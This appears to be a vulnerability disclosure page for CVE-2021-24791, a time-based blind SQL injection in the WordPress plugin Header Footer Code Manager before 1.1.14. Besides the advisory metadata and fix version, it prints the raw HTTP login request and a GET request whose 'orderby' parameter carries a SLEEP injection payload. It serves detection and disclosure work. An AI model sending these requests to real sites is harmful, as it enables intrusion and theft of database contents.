| Title | Header Footer Code Manager < 1.1.14 - Admin+ SQL Injection |
|---|---|
| Author | r3Y3r53 |
| Severity | High |
| Impact | Authenticated administrators can exploit time-based blind SQL injection in the Snippets dashboard, potentially extracting sensitive database contents including user credentials. |
| Remediation | Fixed in version 1.1.14 |
| CVSS Score | 7.2 |
| EPSS Score | 0.06309 |
| CVE ID | CVE-2021-24791 |
| CWE ID | CWE-89 |
| Tags | time-based-sqli cve2021 cve wpscan sqli wp wordpress wp-plugin authenticated header-footer-code-manager draftpress vuln |
The Header Footer Code Manager WordPress plugin before 1.1.14 does not validate and escape the “orderby” and “order” request parameters before using them in a SQL statement when viewing the Snippets admin dashboard, leading to SQL injections
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=2D7iAr&pwd=DrXGWH&wp-submit=Log+In
GET /wp-admin/admin.php?page=hfcm-list&orderby=%28SELECT+5619+FROM+%28SELECT%28SLEEP%286%29%29%29uWCv%29&order=DESC HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24791.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-24791.pcap
N/AN/A